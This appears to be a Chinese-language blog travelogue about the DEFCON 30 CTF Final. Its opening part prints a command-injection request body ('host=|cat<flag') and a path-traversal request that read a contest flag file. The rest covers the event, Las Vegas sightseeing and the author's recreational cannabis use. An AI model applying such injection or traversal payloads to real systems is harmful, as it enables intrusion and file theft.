<p><code>router_pi</code> 這題基本上跟初賽的 router 系列題長差不多樣子，雖然是 Web 外表但也一樣背後有 Binary 可以啃。</p>
<p>這題漏洞(Web部分)跟初賽蠻類似的，登入點就是一個單純弱密碼: <code>admin</code> / <code>password</code> (但也就是吐一個 <code>authenticated=1</code> 的 cookie 而已)</p>
<p>登入之後，我順手黑箱戳戳，直接有個明顯的 Command Injection:</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">POST</span> <span class="string">/ping</span> HTTP/1.1</div><div class="line"><span class="attribute">Host</span>: 10.13.40.102:13864</div><div class="line"><span class="attribute">Content-Length</span>: 15</div><div class="line"><span class="attribute">Cookie</span>: authenticated=1</div><div class="line"><span class="attribute">Connection</span>: close</div><div class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</div><div class="line"></div><div class="line"><span class="undefined">host=|cat&lt;flag</span></div></pre></td></tr></table></figure>
<p>另一個 Web 狗隊友也戳到 Path Traversal 能讀 flag:</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">GET</span> <span class="string">/../../../../home/services/router_pi/flag</span> HTTP/1.1</div><div class="line"><span class="attribute">Host</span>: 10.13.40.102:13864</div><div class="line"><span class="attribute">Content-Length</span>: 0</div><div class="line"><span class="attribute">Cookie</span>: authenticated=1</div><div class="line"><span class="attribute">Connection</span>: close</div><div class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</div></pre></td></tr></table></figure>
<p>這題 Web 部分大概就差不多這樣，上完 Attack Manager 自動化攻擊 &amp; 補洞後，後面就換 Binary 組的隊友去挖其他洞。</p>
<p>於是我就跳到另一題 <code>web4factory</code>，這題雖然說是 web，但他 Java Spring 前面其實包了一層噁心 Protocol，要看懂這邊邏輯其實就蠻花時間的。</p>
<p>看懂 Protocol 後，裡面其實有蠻明顯的反序列化點，和 EL Injection 洞。</p>
<p>隊友搞定 Protocol 後，我就跟 @maple3142 和 @splitline 一起戳反序列化，但怎麼戳都沒啥反應，連 URLDNS 都沒出來。</p>
<p>後來從封包發現有隊伍已經開始在攻擊，所以他們就開始研究對方攻擊 Payload 怎麼寫的，但我注意到其實他們 Payload 沒特別處理、可以直接 replay，就先無腦直上自動化打一波。</p>
<p>後面這題也沒啥進展，好打的洞都直接 replay 就好，另外要 Patch jar 也是一件非常麻煩的事。</p>
<p>這題在 Twitter 上也可以看到部分討論: <a href="https://twitter.com/ZeddYu_Lu/status/1559372823684063235" target="_blank" rel="external">https://twitter.com/ZeddYu_Lu/status/1559372823684063235</a></p>
<p>賽中其他道題目就都是真 Binary 題，這邊我太菜就不細寫了，有興趣的可以參考其他人的 Writeup/Blog。</p>
<hr>
<p>而這場比賽從開賽就各種放錯題目、Leak 未來題目資訊，像是我們就撈到 <code>web4proxy</code>, <code>web4ransom</code> 等題目資訊，但這些題目到最後比賽結束也沒放出來，有花心力投資下去就會血本無歸。</p>
<p>開賽時，主辦的 Infra 也各種出包，常常會有莫名的 SLA Fail，啥都沒開始做就一直被扣分，也讓我們一開賽就直接排名墊底XD</p>
<p>第一天也因為各種狀況延遲一小時結束，主辦也表示之後會把 SLA Fail 和 flag 提交異常等問題少的分數補回給大家。</p>
<p>第二天開賽計分板有稍微調整過，其中一隊因為放 fork bomb 被罰了一些分，不過昨天 SLA Fail 的分數還是沒完全處理好…</p>
<p>這天還開了一道 KoH 題 <code>corewar</code>，隊友開場直接傳檔屌虐全場好幾回合，只是最後就變互抄作業大賽了。</p>
<p>另外我們尻了一個超級 patch，效果是讓別人打進來也幹不走真正的 flag，似乎靠這招守住不少分數，但最後一天似乎還是被繞過的樣子。</p>
<p>然後這天結束時，有幾道題表示隔天會繼續開，所以這天晚上大家都準備爆肝寫回家作業，打算明天開賽打一波。</p>
<p>到第三天時，一開賽就各種混亂，大家準備用熬夜弄出的 exploit 屌打一波時，主辦直接說因為題目遇到一些問題必須下架修復。</p>
<p>最後主辦在原訂結束時間的前一小時，直接放棄治療，宣布說沒辦法修復題目問題，所以提前一小時結束比賽。</p>
<p>今年 DEFCON 30 CTF Final 就這樣在眾人滿頭問號的狀況下結束了。</p>
<p>而因為比賽結束時就停在 Tick 196，這個數字瞬間變成這場比賽的熱門關鍵字，所以就開始出現各種 meme 洗板:</p>
<p><img src="https://i.imgur.com/IqvKUXD.png" alt=""></p>
<p><img src="https://i.imgur.com/dsNAVTN.png" alt=""></p>
<p><img src="https://i.imgur.com/oI99Gna.gif" alt=""></p>
<p><img src="https://i.imgur.com/imfwFp6.png" alt=""></p>
<p><img src="https://i.imgur.com/UtBhAPz.png" alt=""></p>
<p>還有人設計出衣服 (cult of 196):</p>
<p><img src="https://i.imgur.com/nJY6g0M.png" alt=""></p>
<p>(我也無聊訂了一件，不知啥時會送到台灣XD)</p>
<p>印像往年賽後都會有個小交流時間，各隊彼此送個禮物或是一起喝酒討論題目，但今年可能真的太雷，所以比賽結束大家都各自解散了XD</p>
<h1 id="u7DB2_u53CB_u898B_u9762_u6703"><a href="#u7DB2_u53CB_u898B_u9762_u6703" class="headerlink" title="網友見面會"></a>網友見面會</h1><p>隔了三年沒出國，這次來 DEFCON 除了看到幾個以前很常遇到的強隊大佬外，這次也特別去找仰慕已久、在 Twitter 上很活躍的大佬 <a href="https://twitter.com/aszx87410" target="_blank" rel="external">Huli</a> 拍照 &amp; 小聊了一下。<br>(小補充: Huli 在這場是跟國際強隊 Water Paddler 一起打的)</p>
<p>另外在比賽結束後，非常有緣的，我和 @bookgin 遇上了三年前在日本 TrendMicro CTF 上相談甚歡的巴西 Web 大佬 <a href="https://twitter.com/lbherrera_" target="_blank" rel="external">@lbherrera_</a> (有趣的是，我是在比賽離場回飯店時，看到前面的人的鬍子很眼熟才認出他的XD)</p>
<p>除了他們之外也見到了很多沒有在現實見過面的大神，像是我還跑去找 Twitter 上很常看到的 <a href="https://twitter.com/gf_256" target="_blank" rel="external">cts</a> 合照，一整個就像是網友見面會。</p>
<p>比較可惜的是這場後來沒啥機會跟其他隊伍的人交流，雖然有賽後的 After Party ，但當時卡到晚餐就沒去了。</p>
<p>(怕有人不想露臉，上述跟大佬們合照的照片就不附上了XD)</p>
<h1 id="DEFCON__u6703_u5834"><a href="#DEFCON__u6703_u5834" class="headerlink" title="DEFCON 會場"></a>DEFCON 會場</h1><p>DEFCON 會場通常都有各式各樣有趣的 Village 散佈在會場的各個角落，也有各式各樣的 CTF 或是演講在同時進行。</p>
<p>主會場 Caesars Forum 就是在那個大摩天輪隔壁而已，雖然看起來很近，實際上要走很長一段路才能到。</p>
<p><img src="https://i.imgur.com/2CikCMK.jpg" alt=""></p>
<p>我們在打的 CTF 場地其實就在 DEFCON 主會場的某間大會議室裡，然後門口其實到後面也沒人在管進出，所以常常會有路過的聽眾進來觀摩XD</p>
<p>其中有個 Village 是關於實體攻擊的，裡面有各式各樣的鎖或是奇形怪狀的門要想辦法去打開，蠻有趣的。</p>
<p>像是這種傳統的一般門鎖，要想辦法透過工具打開這扇門：</p>
<p><img src="https://i.imgur.com/cUDMDye.jpg" alt=""></p>
<p>然後他的預期解法其實很有趣，不是要硬幹門鎖，而是從門縫塞一個這樣的工具(J Tool)進去對面把鎖轉開XD</p>
<p><img src="https://i.imgur.com/IIkciSB.jpg" alt=""></p>
<p>像這桌目標是要開手銬，就看到有個人把自己雙手銬起來，然後自己在那邊開XD</p>
<p><img src="https://i.imgur.com/kfolNmI.jpg" alt=""></p>
<p>也有路過 Packet village 看經典的綿羊牆：</p>
<p><img src="https://i.imgur.com/VQUdwMg.jpg" alt=""></p>
<p>其他還有像是 Car hacking, IoT, Voting Machine, Red Team village 之類的，也都蠻有趣的，只是它場地橫跨三間飯店，如果每個 village 都去逛一遍，真的會走到腳斷掉。</p>
<h1 id="u73A9_u5177"><a href="#u73A9_u5177" class="headerlink" title="玩具"></a>玩具</h1><p>按照慣例，DEFCON 第一天開幕通常都沒啥活動，可以做的事就是排隊買門票(Badge)和紀念品。</p>
<p>今年由於我們要換房，早上整理行李耽擱不少時間，所以比較晚才下去會場排，整個排隊隊伍長到看不見盡頭。</p>
<p><img src="https://i.imgur.com/3nSOdTK.jpg" alt=""></p>
<p>最後我們排了四個小時左右才買到紀念品，原本規劃的租超跑尬車行程也因此取消了T___T</p>
<p>今年的 Badge 比前幾年有趣多了，是一個可以錄音取樣的駭客小鋼琴，比之前的大理石和奇怪迷宮小遊戲還要耐玩，所以排紀念品過程一直可以聽到各種神奇音樂聲。<br>(不過如果太暴力去玩它，就會開始冒出不太妙的燒焦味)</p>
<p><img src="https://i.imgur.com/StmzR1g.jpg" alt=""></p>
<p>(彈起來就有點像這樣: <a href="https://twitter.com/JessieDax/status/1557849389011542019" target="_blank" rel="external">https://twitter.com/JessieDax/status/1557849389011542019</a>)</p>
<p>除了 DEFCON 官方紀念品外，Vendor Area 通常會有各家廠商來擺攤賣各種駭客小玩具，像是大家都很熟悉的 Hak5 就擺了一個大攤位。</p>
<p>以前窮學生時來 DEFCON 都沒啥錢買這些酷玩具，現在工作後有點零用錢，買這些又貴又酷的玩具比較不會心痛。</p>
<p>所以今年手一滑，就不小心刷了一兩萬元台幣買了一些酷玩具:</p>
<p><img src="https://i.imgur.com/u0tz3Gt.jpg" alt=""></p>
<p>除了以上這些玩具外，Vegas 常常也可以看到店家在賣各種詭異的酷東西，像是我買了這些很讚的玩意兒：</p>
<p><img src="https://i.imgur.com/Zafbi7i.jpg" alt=""></p>
<p><img src="https://i.imgur.com/zlJrGLO.jpg" alt=""></p>
<p>前幾年 DEFCON 在房間門口意外撿到美國人的身分證，而這次雖然沒有身分證可以撿，但我卻在商店買到這個酷東西:</p>
<p><img src="https://i.imgur.com/0aj3Pyu.jpg" alt=""></p>
<p>一起亂買玩具的好室友們:</p>
<p><img src="https://i.imgur.com/x8VCN5P.jpg" alt=""></p>
<h1 id="u8CED_u535A"><a href="#u8CED_u535A" class="headerlink" title="賭博"></a>賭博</h1><p><img src="https://i.imgur.com/ebkKrwd.jpg" alt=""></p>
<p>既然都來到賭城 Las Vegas 怎麼能不小賭一把呢?</p>
<p>除了每家飯店裡隨處可見的拉霸機和各種賭博機台之外，</p>
<p>這次我們一群人還挑戰了前幾年都沒做過的事，就是上牌桌跟真人賭一把！</p>
<p>但其實只是為了換籌碼帶回台灣作紀念，所以逼不得已才鼓起勇氣上牌桌 (有問過能不能單純只換籌碼就走人，很明顯是不行XD)</p>
<p>然後他會花超久的時間跟每個人要護照，確認身份年紀都正確才讓你玩 (沒有上牌桌的人他也要看護照)</p>
<p>我們玩的是俄羅斯輪盤，基本上就是可以壓數字、顏色或是奇偶，然後賭他輪盤上的球最後會停在哪，基本上不太需要動腦。</p>
<p>這場最後的賭王是 @bookgin，隨手亂壓幾個數字剛好壓中，結果錢直接翻了好幾倍，差點就能原地退休。</p>
<p>一局結束之後，大夥兒就趕緊扛著賺來的滿手籌碼烙跑了<br>(花 20 分鐘看護照，結果我們玩 5 分鐘就跑走，他一定覺得很幹XD)</p>
<p>最後我也分食了一部分剩餘的籌碼:</p>
<p><img src="https://i.imgur.com/ZnUjUGG.jpg" alt=""></p>
<p>玩拉霸機時也不小心從 \$1 玩到變 \$4.82 (480% 有夠瘋狂):</p>
<p><img src="https://i.imgur.com/cFUma1o.jpg" alt=""></p>
<h1 id="u6253_u69CD_u69CD"><a href="#u6253_u69CD_u69CD" class="headerlink" title="打槍槍"></a>打槍槍</h1><p>遙想 2019 年時，來 Vegas 最後悔的一件事，就是沒有玩到沙漠之鷹 (詳情見 <a href="https://blog.kaibro.tw/2019/08/25/DEFCON-27-Final-CTF-%E9%81%8A%E8%A8%98/#u6253_u69CD">DEFCON 27 Final CTF 遊記</a>)</p>
<p>所以今年來 Vegas 其中一個必做行程，就是來打靶，並且一定要打沙漠之鷹！</p>
<p>加上最近國際局勢緊張，搞不好哪天睡醒突然就被抓去上戰場送頭，所以練一下基本的槍法還是挺必要的。</p>
<p>這次我選擇的組合是 AK-47 + 沙漠之鷹 (Desert Eagle)，走一個 CS 恐怖份子的經典組合XD</p>
<p>打沙漠之鷹前其實有點小緊張，畢竟上次就是被店員以後座力超大為由勸退的，加上腦海中一直出現這部經典的爆頭影片：</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/dFJjaj7pXsA" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>實際上場打的時候，沙漠之鷹比想像中還沉重，而且槍身很大把，其實不太好穩定地握住。</p>
<p>射擊時後座力的確如同想像中的大，甚至體感後座力比 AK-47 還大，會有一種槍快噴掉的感覺，手腕其實還蠻痛的，但真的很爽XD</p>
<p>只是沙漠之鷹只有五發很快就打完了，其實還蠻燒錢的。</p>
<p>AK-47 的部分倒是跟上次體感差不多，不過上次來打時還沒當過兵，而這次我已經是受過精良 65K2 訓練的步槍兵了，直接輕鬆無痛上手 AK-47！</p>
<p><img src="https://i.imgur.com/f4DWbRV.jpg" alt=""></p>
<p>砸多一點錢還能開坦克:</p>
<p><img src="https://i.imgur.com/MCD7u5l.jpg" alt=""></p>
<h1 id="u5947_u805E_u8EFC_u4E8B"><a href="#u5947_u805E_u8EFC_u4E8B" class="headerlink" title="奇聞軼事"></a>奇聞軼事</h1><p>被稱為罪惡都市 (Sin city) 的 Las Vegas，每年來這邊都可以在街頭上遇到一些怪異的人事物，加上 DEFCON 期間的各國駭客們總是喜歡做一些跟別人不一樣的事情，這邊就來記錄一下今年看到的鬼東西。</p>
<p>首先當然就是每年都能看到的假眼睛 googly eyes (不知為啥 DEFCON 駭客都喜歡到處貼這個):</p>
<p><img src="https://i.imgur.com/gPdPxb8.jpg" alt=""></p>
<p>Gordon Ramsay 當然也躲不掉:<br><img src="https://i.imgur.com/TxQitI7.jpg" alt=""></p>
<p>甚至還有這種超大的版本:</p>
<p><blockquote class="twitter-tweet"><p lang="en" dir="ltr">thanks <a href="https://twitter.com/defcon?ref_src=twsrc%5Etfw" target="_blank" rel="external">@defcon</a> for another great year ✌️ <a href="https://t.co/j90XNPTR4A" target="_blank" rel="external">pic.twitter.com/j90XNPTR4A</a></p>&mdash; ρσℓα¢ķ͌͌͌͌͌͌͌͌͌͌͌͌͌͌ (@deviouspolack) <a href="https://twitter.com/deviouspolack/status/1558987216604389376?ref_src=twsrc%5Etfw" target="_blank" rel="external">August 15, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>還有被摧殘過的電梯，螢幕跳奇怪的 Error 外，上面也被刻滿字:</p>
<p><img src="https://i.imgur.com/SlQisuY.jpg" alt=""></p>
<p>亂貼奇怪貼紙也算是習以為常的 DEFCON 文化:</p>
<p><img src="https://i.imgur.com/aSTS9wm.jpg" alt=""></p>
<p>在會場時還有看起來很像釣魚的 Hack this 送錢錢的神秘遊戲:</p>
<p><img src="https://i.imgur.com/ZQPT1V3.jpg" alt=""></p>
<p>另外 Vegas 路邊還會有一些穿著很暴露的妹子或是超級英雄裝扮的黑人，用盡各種方法或是話術坑觀光客的錢，十分兇殘。</p>
<p>像下面這傢伙就是被坑了 50 鎂換來這張照片的。</p>
<p>她們一開始會說拍照免費，但拍照免費不代表小費不用給，所以拍完會一直凹你給超高價格的小費，可憐的亞洲觀光客。</p>
<p><img src="https://i.imgur.com/BcZWSIA.jpg" alt=""></p>
<p>隊上某 g 先生甚至還在路上被一群黑人坑了 80 鎂左右的錢…在罪惡都市的街道上行走時真的不可不慎。</p>
<p>另外在 Downtown 閒晃時，我們還花了 $1 跟這個很酷的老頭拍照:</p>
<p><img src="https://i.imgur.com/cTkvOYy.jpg" alt=""></p>
<p><br></p>
<p>今年這趟還有個比較特別的經歷是，居然能在 Vegas 遇到超大暴雨！</p>
<p>但我剛好這時間太累睡死，只在睡夢中聽到各種雨聲和打雷聲，沒有親眼看到這個奇景實在有點可惜。</p>
<p>在沙漠地區下大雨感覺應該不是太常見的事情(?)，所以在 twitter 上可以看到各種淹水災情回報，Vegas 瞬間變成水上樂園，甚至隔天好像還有發現屍體的樣子。</p>
<p>真．Overflow:</p>
<p><blockquote class="twitter-tweet"><p lang="en" dir="ltr">first day of defcon and there&#39;s already an overflow exploit <a href="https://t.co/M0xE1k6w9A" target="_blank" rel="external">https://t.co/M0xE1k6w9A</a></p>&mdash; est (@emilyst) <a href="https://twitter.com/emilyst/status/1557988630907342850?ref_src=twsrc%5Etfw" target="_blank" rel="external">August 12, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>水上樂園:</p>
<p><blockquote class="twitter-tweet"><p lang="en" dir="ltr">Uh defcon 30? <a href="https://twitter.com/hashtag/defcon?src=hash&amp;ref_src=twsrc%5Etfw" target="_blank" rel="external">#defcon</a> <a href="https://twitter.com/hashtag/vegas?src=hash&amp;ref_src=twsrc%5Etfw" target="_blank" rel="external">#vegas</a> <a href="https://t.co/FxRjUbkzpn" target="_blank" rel="external">pic.twitter.com/FxRjUbkzpn</a></p>&mdash; Skittish and Bus (@Skittishandbus) <a href="https://twitter.com/Skittishandbus/status/1557967978989113344?ref_src=twsrc%5Etfw" target="_blank" rel="external">August 12, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>除了暴雨，某天晚上還收到這個 AMBER alert，手機狂震:</p>
<p><img src="https://i.imgur.com/GW2LG5R.jpg" alt=""></p>
<p>查了一下才知道是跟失蹤兒童有關的警報，漲知識:</p>
<blockquote>
<p>安珀警報，是一個主要用於美國和加拿大的兒童失蹤或綁架預警系統。<br>當確認發生兒童綁架案件時，警務部門透過各種大眾媒體向社會大眾傳播警報訊息，以大範圍搜尋失蹤兒童</p>
</blockquote>
<h1 id="u5927_u9EBB_u7169_u4E0D_u7169"><a href="#u5927_u9EBB_u7169_u4E0D_u7169" class="headerlink" title="大麻煩不煩"></a>大麻煩不煩</h1><p>第一天半夜到 Vegas 放完行李後，大家就揪一揪衝 <a href="https://maps.app.goo.gl/5wwT95s5jFny4wnQ6" target="_blank" rel="external">Reef Dispensaries</a> 買”合法”的草。</p>
<p>Reef Dispensaries 外面很偏僻，很像那種會有一群黑人群聚抽草的壞地方:</p>
<p><img src="https://i.imgur.com/uGfsV1c.jpg" alt=""></p>
<p>但進到裡面後，整個擺設其實就像一般商店、雜貨店一樣：</p>
<p><img src="https://i.imgur.com/KmGuLyJ.jpg" alt=""></p>
<p>而大麻除了用像一般紙菸的抽法外，其實還有很多不同形式的服用方法。</p>
<p>光是透過傳統燃燒的方式，就還能細分成使用 roll, pipe, bong 等不同工具的玩法。</p>
<p>而比較特別的是還有像是電子煙油或是做成食物(軟糖、餅乾、蛋糕)的方式可以使用。</p>
<p>這次我買的組合：</p>
<ul>
<li>Pre-roll * 2 (CandyLand, RD Sky Fuel OG)</li>
<li>Gummies (Huckleberry Gummies)</li>
<li>Vape (Blue dream)</li>
</ul>
<p>買完當下，記得大約是凌晨兩點多，為了妥善調整時差(?)，我決定直接原地試用一下 Vape:</p>
<p><img src="https://i.imgur.com/gwTeHCa.jpg" alt=""></p>
<p>Blue Dream 的煙油聞起來會有一點微酸的味道，但抽的時候基本上聞不到味道，也沒有任何擊喉感，當下會懷疑是不是真的有抽到。</p>
<p>但大概抽 4、5 口後，我一個不小心吸太大口嗆到，覺得肺超痛、一直狂咳，然後就突然起飛了(?)</p>
<p>當下沒有記錄感受，所以現在有點難回憶當時體感，只有印象類似酒醉微醺，但不會腦袋昏沉沉，反而覺得有點放鬆、輕飄飄的。</p>
<p>同行的小夥伴 @franklin 和 @ginoah 另外還試了軟糖 (跟我買的軟糖不同)，都表示非常有感，甚至隔天起床都還沒完全退。</p>
<p>最後我們還去 Denny’s 吃宵夜，搞到後來凌晨五點才回飯店睡覺 (但事後證明這麼做的確對於調時差非常有幫助)</p>
<hr>
<p>而吸草團有部分人不想第一天下飛機就熬夜吸草，所以我們後來幾個人又挑了一天晚上跑去找沒有人煙的地方抽。</p>
<p>一開始原本是要去我第一年抽草的凱撒皇宮邪惡巷子那裡，但後來發現那邊變的燈火通明且人來人往，於是就改成到<a href="https://www.google.com/maps/@36.1184597,-115.1749057,3a,75y,183.75h,88.45t/data=!3m6!1e1!3m4!1sjqs86g9qKyBuALwSc8ZIeg!2e0!7i16384!8i8192" target="_blank" rel="external">凱撒皇宮地下停車場入口旁</a>抽。</p>
<p>整團包含我共四個人(原本還有更多人，但他們出發前先吃軟糖，提前陣亡回去了)，我們躲在一個隱蔽又昏暗的階梯上細細品嚐純天然的草本香氣。</p>
<p>我這次嘗試的是 <a href="https://www.leafly.com/strains/candyland" target="_blank" rel="external">CandyLand</a> 這個品種，我原本是想要找我第一年抽的 <a href="https://www.leafly.com/strains/mimosa" target="_blank" rel="external">Mimosa</a>，但當時店員說沒有賣，於是才推薦我這個效果相似的品種。</p>
<p><img src="https://i.imgur.com/Z34cliJ.jpg" alt=""></p>
<p>我大概只抽半根多一點，效果大概 10 ~ 20 分鐘就出來，當下體感的確跟我第一年抽 Mimosa 時非常類似。</p>
<p>會有一種頭像氣球一樣充飽浮起來的感覺，然後頭兩側會有一點麻麻的，跟前面用 Vape 的感受其實差蠻多的。</p>
<p>而且自己講話時會有一種像是在聽別人說話的感覺，有點切換到第三人稱視角的感覺，所以會一直有種明明整團只有四個人，但卻覺得像是有五個人的錯覺XD</p>
<p>最有趣的是，原本我們是走飯店裡面下來停車場的，但由於當時的時間蠻晚的，所以要離開時發現原本的門已經上鎖了，我們直接被困在地下停車場！！</p>
<p>由於我們在停車場旁邊，所以其實左右兩側看起來都有車道出去。</p>
<p>這時隊長 @ginoah 就下令往右側走，但其實往左走直接就能通到 Las Vegas 大道上，不過因為大家都太ㄎㄧㄤ，所以就乖乖聽話往右邊走。</p>
<p>過程愈走愈不對，順著車道走會一直走到類似快車道的地方，一度以為要走去機場回台灣了。</p>
<p>最後大概浪費了半小時、整整繞了快一圈才放棄人生，原路折返到原點，改從左邊走才回到大街上，想想也算是一個奇妙的飛行迷路經驗XD</p>
<p>回去路上還遇到一位黑人女性語帶挑逗的跑來摸我們手臂，但我們飛太高又太累，於是大家都傻在那邊不知如何反應。</p>
<p>p.s. 回飯店後，我戴上耳機聽音樂，意外發現整個聽覺感受度變化很明顯，彷彿可以聽到平常聽不到的音樂細節，整個人會墜入一個音樂黑洞裡，很讚。</p>
<hr>
<p>另外我在某天晚上一個人在房間時，嘗試吃一顆我買的軟糖 (Huckleberry Gummies)</p>
<p>結果出乎意料地，竟然讓進入數小時超級痛苦的 Bad Trip 循環！</p>
<p>一開始跟之前一樣頭微漲微麻，然後開始覺得動作、思緒變得有點遲緩，盯著窗外泳池發呆時，會覺得顏色似乎不斷漸變，波紋有點迷幻的感覺。</p>
<p>然後進到高峰時，覺得超爆幹暈眩、超級想吐，而且恐懼感會被放大，會有一種快被這個空間吞噬掉的恐慌感，甚至有一點幻覺的產生。</p>
<p>於是我決定採取躺平睡覺大法，但沒想到睡到一半直接被暈醒，所以後來太恐慌就跑去找隔壁房毛哥求救，然後在他的房間昏睡到藥效退掉，算是非常難忘的一次 Bad Trip 經歷。</p>
<p>(後來我把整盒軟糖直接送給海狗吃又是另一個故事惹…)</p>
<p><img src="https://i.imgur.com/TN73mRb.jpg" alt=""></p>
<hr>
<p>由於 Las Vegas 基本上明確規定不能在公共場所或飯店抽草，所以其實對觀光客來說很難找到一個適合的地方來飛行。</p>
<p>這應該也是為何在 Las Vegas 大道上或是停車場角落常可以看到一堆人在路邊抽草的原因。</p>
<p>不過據說 Las Vegas 有唯一一家可以合法在店內抽草的 Tasting Room (應該類似荷蘭 Coffeeshop?):</p>
<p><a href="https://nuwu.vegas/vegastastingroom" target="_blank" rel="external">https://nuwu.vegas/vegastastingroom</a></p>
<p>但可惜這次行程太趕，幾乎都在打比賽和搭車，最後都沒時間去拜訪看看這家合法飛行室 QQ</p>
<hr>
<p>最後離開 Vegas 時，還有一根 Pre-roll 來不及抽，所以就連同維力炸醬麵一起當作小費留給打掃阿姨，希望她會喜歡。</p>
<p><img src="https://i.imgur.com/CsRTr0h.jpg" alt=""></p>
<h1 id="u9694_u96E2"><a href="#u9694_u96E2" class="headerlink" title="隔離"></a>隔離</h1><p>回台灣之後，按照規定要採 3+4 的方式隔離，所以兩天的 HITCON 就剛好都無法參加 (我的 VIP 票直接送人T___T)</p>
<p>下飛機之後，會先在機場叫你吐口水做 PCR 篩檢，然後接著搭防疫計程車去防疫旅館/居家隔離。計程車車資超過 1000 的部分政府會補助，所以我從機場搭回台北只花了 1000 元。</p>
<p>PCR 結果大概隔天就會出來，最後我們整團大概 1/4 ~ 1/3 的人確診…</p>
<p>似乎大部分都是有去參加 After Party 的確診，感覺就是大毒窟，只能說還好我沒去(?)</p>
<p>然後隔離期間每天會有人打電話來問候你身體的狀況(區公所的樣子)，也有指揮中心傳簡訊來確認身體狀況。</p>
<p>另外他們還會寄防疫大禮包給你，內容物還算不錯，有一堆餅乾泡麵和口罩：</p>
<p><img src="https://i.imgur.com/xAahchz.jpg" alt=""></p>
<p>第四天快篩陰性基本上就可以出門了，但聽說住防疫旅館的那群人好像還會被各種奇葩限制卡(?)</p>
<h1 id="u7E3D_u7D50"><a href="#u7E3D_u7D50" class="headerlink" title="總結"></a>總結</h1><p>整體來說，覺得今年其實食衣住行育樂各方面都稍微偏慘，比賽主辦也是出乎意料的雷 (相比我參加過的前兩次)</p>
<p>但這裡還是感謝辛苦的老師、助理們，讓我們能專心在準備比賽本身，不用去顧慮其他行政等事務，也感謝乾爹讓我們有錢能出國比賽，當然也要感謝公司讓我能用公假名義去打比賽。</p>
<p>雖然已經去過 Las Vegas 很多次了，然後每次過去都要忍受長途飛機的腰痠背痛，但是每年都還是能從過程中得到新的體驗，整體下來覺得還是挺值得的。</p>
<p>自從變成社畜後，很難像以前學生時期那麼有熱情了，這次難得的出國也算是有種充電的感覺，讓我在忙碌的工作中能稍微喘口氣，也讓我又再次見識到國外高手跟自己的實力差距，好想擁有跟韓國人一樣快的手速啊。</p>
<p><img src="https://i.imgur.com/lLJGDoO.jpg" alt=""></p>
<h1 id="u5176_u4ED6_u53C3_u52A0_u8A18/_u904A_u8A18/Blog"><a href="#u5176_u4ED6_u53C3_u52A0_u8A18/_u904A_u8A18/Blog" class="headerlink" title="其他參加記/遊記/Blog"></a>其他參加記/遊記/Blog</h1><ul>
<li>黃老師<ul>
<li><a href="https://www.facebook.com/huangant/posts/pfbid02z3CDk86z797tPnxnLW5rEgkBKuXhTM7DQg9TiW6kQDBitAjC7mBT6B51fECRKXM7l" target="_blank" rel="external">https://www.facebook.com/huangant/posts/pfbid02z3CDk86z797tPnxnLW5rEgkBKuXhTM7DQg9TiW6kQDBitAjC7mBT6B51fECRKXM7l</a></li>
</ul>
</li>
<li>翔哥(限友)<ul>
<li><a href="https://www.facebook.com/lys0829/posts/pfbid02fDkMzfHMykHQJ4kV2jWDpubEzJjk3oQnxoBqFeMpGbDj88mNGY1hUVMeZGfpeMtil" target="_blank" rel="external">https://www.facebook.com/lys0829/posts/pfbid02fDkMzfHMykHQJ4kV2jWDpubEzJjk3oQnxoBqFeMpGbDj88mNGY1hUVMeZGfpeMtil</a></li>
</ul>
</li>
<li>Kia<ul>
<li><a href="https://forum.gamer.com.tw/C.php?bsn=60076&amp;snA=7275684" target="_blank" rel="external">https://forum.gamer.com.tw/C.php?bsn=60076&amp;snA=7275684</a></li>
</ul>
</li>
<li>Huli (<code>WaterPaddler</code>):<ul>
<li><a href="https://hulitw.medium.com/def-con-30-ctf-final-1-79220bba7f02" target="_blank" rel="external">https://hulitw.medium.com/def-con-30-ctf-final-1-79220bba7f02</a></li>
<li><a href="https://hulitw.medium.com/def-con-30-ctf-final-2-4444cf3645e" target="_blank" rel="external">https://hulitw.medium.com/def-con-30-ctf-final-2-4444cf3645e</a></li>
<li><a href="https://hulitw.medium.com/def-con-30-ctf-final-3-e19eeeed8e44" target="_blank" rel="external">https://hulitw.medium.com/def-con-30-ctf-final-3-e19eeeed8e44</a></li>
</ul>
</li>
<li>Satoki (<code>./V /home/r/.bin/tw</code>):<ul>
<li><a href="https://hackmd.io/@satoki/rkf9Qq8jc" target="_blank" rel="external">https://hackmd.io/@satoki/rkf9Qq8jc</a></li>
</ul>
</li>
<li>族繁不及備載</li>
</ul>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="https://i.imgur.com/RqT8xJO.jpg" alt=""></p>
<h1 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h1><p>這次是我第五年打 DEFCON CTF Final，也是第三次飛 Las Vegas 現場。</p>
<p>前兩年決賽都因為 COVID-19 疫情的關係而沒辦法到現場比。</p>
<p>今年是 Balsn 和 TSJ 跟 217 組成的大聯隊(Balsn.217@TSJ.tw)，但其實大部分老人都已經退休，幾乎都是年輕人在打。</p>
<p>所以整團大概有一半以上的人都是第一次去 Vegas，也有一半的人我叫不太出名字XD</p>
<p>台灣部分也有為數不多的幾個人在 Remote 幫忙看題，因為美國和台灣幾乎日夜顛倒，這樣剛好可以接關美國這邊的進度。</p>
<p>每次去 Vegas 都要寫遊記好像已經變成一種傳統，所以這篇就一樣來記錄一下這趟比賽行程的各種事情吧！</p>
<p>順便拯救一下荒廢兩年、長滿草的 Blog XD</p>
<p>(圖多慎入)</p>]]>
    
    </summary>
    
